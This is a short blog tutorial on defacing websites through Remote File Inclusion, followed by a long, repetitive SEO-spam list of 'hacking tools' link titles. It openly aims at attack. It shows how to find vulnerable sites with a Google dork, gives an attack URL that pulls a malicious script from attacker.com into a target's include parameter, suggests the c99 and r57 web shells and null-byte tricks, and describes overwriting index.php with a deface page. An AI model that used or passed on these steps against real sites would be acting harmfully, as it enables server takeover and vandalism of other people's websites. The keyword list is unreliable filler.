HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?
Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.
SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?
First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
- You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
- In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
- Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.
More information
- Pentest Tools Website Vulnerability
- Hak5 Tools
- Pentest Tools Find Subdomains
- Hack Tools For Games
- Pentest Tools For Ubuntu
- How To Make Hacking Tools
- Pentest Tools Framework
- Hacking Tools 2020
- Hacker Tools Github
- Pentest Tools Bluekeep
- Pentest Tools Website Vulnerability
- How To Make Hacking Tools
- Install Pentest Tools Ubuntu
- New Hacker Tools
- Pentest Tools Free
- Hacks And Tools
- Wifi Hacker Tools For Windows
- Pentest Tools Windows
- Pentest Tools Bluekeep
- Pentest Tools Free
- Hacker Tools For Pc
- Hack Tools 2019
- Beginner Hacker Tools
- Hacker Tools
- Hacker Search Tools
- Pentest Tools Android
- Free Pentest Tools For Windows
- Hacker Tools For Windows
- Pentest Tools Tcp Port Scanner
- Pentest Automation Tools
- Github Hacking Tools
- Pentest Tools For Windows
- Hack Tools For Mac
- Hacker Tools For Pc
- Hacking Tools For Mac
- Black Hat Hacker Tools
- Hack Tools For Ubuntu
- Hacking Tools And Software
- Hack Tools Pc
- Pentest Tools List
- Hacking Tools Software
- Hacker Tools Software
- Hack Tools
- Hacking Tools For Kali Linux
- Pentest Tools Nmap
- Bluetooth Hacking Tools Kali
- Pentest Tools Apk
- Pentest Tools Tcp Port Scanner
- Computer Hacker
- Game Hacking
- Hack Apps
- Hacker Tools Apk
- Hacker Tools Mac
- Hacking Tools For Windows 7
- Ethical Hacker Tools
- Hacker Hardware Tools
- Pentest Tools Linux
- How To Make Hacking Tools
- Hak5 Tools
- Hacker Tools Software
- Pentest Reporting Tools
- Game Hacking
- Hacking Tools Pc
- Pentest Tools Port Scanner
- Hacker Tools Mac
- Hacks And Tools
- Install Pentest Tools Ubuntu
- Hackers Toolbox
- Hacks And Tools
- Hacking Tools For Pc
- Termux Hacking Tools 2019
- Hack Tools
- Top Pentest Tools
- Blackhat Hacker Tools
- Hacker Tools Hardware
- Hacking Tools And Software
- Hacking App
- Best Hacking Tools 2020
- Hacking Tools Name
- Hacking Tools For Windows 7
- Hacker Tools Software
- Pentest Recon Tools
- How To Hack
- Hack Apps
- Hacking Tools Windows
- Pentest Tools Online
- Hacking Tools Software
- Hacker Tools Github
- How To Hack
- Computer Hacker
- Hacker Tools Hardware
- Pentest Tools Apk
- Hacking Tools And Software
- Pentest Recon Tools
- Computer Hacker
- Hacking Tools For Windows
- Pentest Box Tools Download
- Hacking Apps
- Hacker Tools Apk
- Hacking Tools Windows
- Hack Tools Mac
- Hacker Tools Online
- Hacker Tools Hardware
- Blackhat Hacker Tools
- Beginner Hacker Tools
- Hack App
- Hacker Search Tools
- Hacking Tools Github
- Black Hat Hacker Tools
- Pentest Tools Review
- Hacker Tools For Ios
- Hack Tools Download
- Hackrf Tools
- Hacker Tools Apk Download
- Pentest Tools For Windows
- Hacker Tools Software
- Pentest Tools Windows
- Hacker
- Hacking Tools Usb
- Pentest Tools Review
- New Hack Tools
- Hacking Tools 2019
- Hacker Tools Online
- Hacking Tools Pc
- Hack Tool Apk No Root
- Best Hacking Tools 2019
- New Hacker Tools
- Game Hacking
- Hacker Tools For Pc
- Pentest Tools Kali Linux
- Hacker Tools Free
- Hacker Tools Free Download
- Pentest Tools For Windows
- Pentest Tools For Mac
- Pentest Tools Github
- Pentest Tools Online
- Hacking Tools For Windows 7
- Hacker Tools Linux
- Best Hacking Tools 2019
- Pentest Tools Tcp Port Scanner
- Hacking Tools For Beginners
- Termux Hacking Tools 2019
No comments:
Post a Comment